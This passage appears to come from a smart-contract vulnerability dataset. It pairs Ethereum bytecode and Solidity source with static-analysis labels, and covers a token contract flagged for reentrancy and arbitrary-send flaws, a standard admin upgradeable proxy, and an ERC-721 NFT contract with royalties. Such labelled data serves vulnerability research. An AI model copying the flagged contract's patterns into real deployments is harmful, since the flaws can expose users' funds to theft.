eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f82ba86348de579e7259e05f614edfc3dd86658ee7774a0cec7db8ca3710452d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,389
0x01bc34a296013cbda3faf3b7328f3675d08f04c2
/** *Submitted for verification at Etherscan.io on 2021-05-17 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,390
0x0e847aad9b5b25cea58613851199484be3c4fa13
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // _____ _____ _____ // /\ \ /\ \ /\ \ // /::\____\ /::\ \ /::\ \ // /:::/ / /::::\ \ /::::\ \ // /:::/ / /::::::\ \ /::::::\ \ // /:::/ / /:::/\:::\ \ /:::/\:::\ \ // /:::/ / /:::/__\:::\ \ /:::/ \:::\ \ // /:::/ / /::::\ \:::\ \ /:::/ \:::\ \ // /:::/ / /::::::\ \:::\ \ /:::/ / \:::\ \ // /:::/ / /:::/\:::\ \:::\ \ /:::/ / \:::\ ___\ // /:::/____/ /:::/ \:::\ \:::\____\ /:::/____/ ___\:::| | // \:::\ \ \::/ \:::\ /:::/ / \:::\ \ /\ /:::|____| // \:::\ \ \/____/ \:::\/:::/ / \:::\ /::\ \::/ / // \:::\ \ \::::::/ / \:::\ \:::\ \/____/ // \:::\ \ \::::/ / \:::\ \:::\____\ // \:::\ \ /:::/ / \:::\ /:::/ / // \:::\ \ /:::/ / \:::\/:::/ / // \:::\ \ /:::/ / \::::::/ / // \:::\____\ /:::/ / \::::/ / // \::/ / \::/ / \::/ / // \/____/ \/____/ \/____/ interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns(bytes4); } // Implementation of a custom tokenURI interface ITokenURICustom { function constructTokenURI(uint256 tokenId) external view returns (string memory); } // Ownable From OpenZeppelin Contracts v4.4.1 (Ownable.sol) abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // ERC721 Contract with customisable URI contract ERC721 is Ownable { // Events ERC721 event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); // NFT contract metadata string public name; string public symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Extra token metadata links for redundancy mapping(uint256 => string[]) private _metadataLinks; // Mapping from token ID to URIs custom contract mapping(uint256 => address) public customURI; // Mapping from token ID to token URIs locked mapping(uint256 => bool) public lockedURI; uint256 _tokenCounter = 0; // ERC-2981: NFT Royalty Standard address payable private _royaltyRecipient; uint256 private _royaltyBps; // Mapping from token ID to non-default royaltyBps mapping(uint256 => uint256) private _royaltyBpsTokenId; // CONSTRUCTOR constructor(string memory name_, string memory symbol_) { name = name_; symbol = symbol_; _royaltyRecipient = payable(msg.sender); _royaltyBps = 1000; } // ERC165 function supportsInterface(bytes4 interfaceId) public pure returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 = 0x01ffc9a7 interfaceId == 0x80ac58cd || // ERC721 = 0x80ac58cd interfaceId == 0x5b5e139f || // ERC721 Metadata = 0x5b5e139f interfaceId == 0x2a55205a; // ERC2981 = 0x2a55205a; // ERC721 = 0x80ac58cd // ERC721 Metadata = 0x5b5e139f // ERC721 Enumerable = 0x780e9d63 // ERC721 Receiver = 0x150b7a02 // ERC165 = 0x01ffc9a7 // ERC2981 = 0x2a55205a; } // URI & METADATA SECTION function tokenURI(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if(customURI[tokenId] != address(0)) { return ITokenURICustom(customURI[tokenId]).constructTokenURI(tokenId); } else { return _tokenURIs[tokenId]; } } function metadataLinks(uint256 tokenId) public view returns (string[] memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return _metadataLinks[tokenId]; } function setTokenURI(uint256 tokenId, string calldata tokenURI_) public onlyOwner { require(!lockedURI[tokenId], "URI finalised"); _tokenURIs[tokenId] = tokenURI_; } function setMetadataLinks(uint256 tokenId, string[] calldata links) public onlyOwner { require(!lockedURI[tokenId], "URI finalised"); delete _metadataLinks[tokenId]; for(uint256 i = 0; i < links.length; i++) { _metadataLinks[tokenId].push(links[i]); } } function setCustomURI(uint256 tokenId, address contractURI) public onlyOwner { require(!lockedURI[tokenId], "URI finalised"); customURI[tokenId] = contractURI; } function lockURI(uint256 tokenId) public onlyOwner { require(!lockedURI[tokenId], "URI finalised"); lockedURI[tokenId] = true; } // ERC721 SECTION function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public { _setApprovalForAll(msg.sender, operator, approved); } function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function mint(address to, string calldata tokenURI_) public onlyOwner { _tokenCounter++; _mint(to, _tokenCounter); _tokenURIs[_tokenCounter] = tokenURI_; } function mintCustomUri(address to, address contractURI) public onlyOwner { _tokenCounter++; _mint(to, _tokenCounter); customURI[_tokenCounter] = contractURI; } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not owner nor approved"); _burn(tokenId); delete _tokenURIs[tokenId]; delete _metadataLinks[tokenId]; delete customURI[tokenId]; delete lockedURI[tokenId]; } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal { address owner = ownerOf(tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal { require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.code.length > 0) { try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } // EIP-2981 ROYALTY STANDARD function setRoyaltyBps(uint256 royaltyPercentageBasisPoints) public onlyOwner { _royaltyBps = royaltyPercentageBasisPoints; } function setRoyaltyBpsForTokenId(uint256 tokenId, uint256 royaltyPercentageBasisPoints) public onlyOwner { _royaltyBpsTokenId[tokenId] = royaltyPercentageBasisPoints; } function setRoyaltyReceipientAddress(address payable royaltyReceipientAddress) public onlyOwner { _royaltyRecipient = royaltyReceipientAddress; } function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) { uint256 bps; if(_royaltyBpsTokenId[tokenId] > 0) { bps = _royaltyBpsTokenId[tokenId]; } else { bps = _royaltyBps; } uint256 royalty = (salePrice * bps) / 10000; return (_royaltyRecipient, royalty); } }
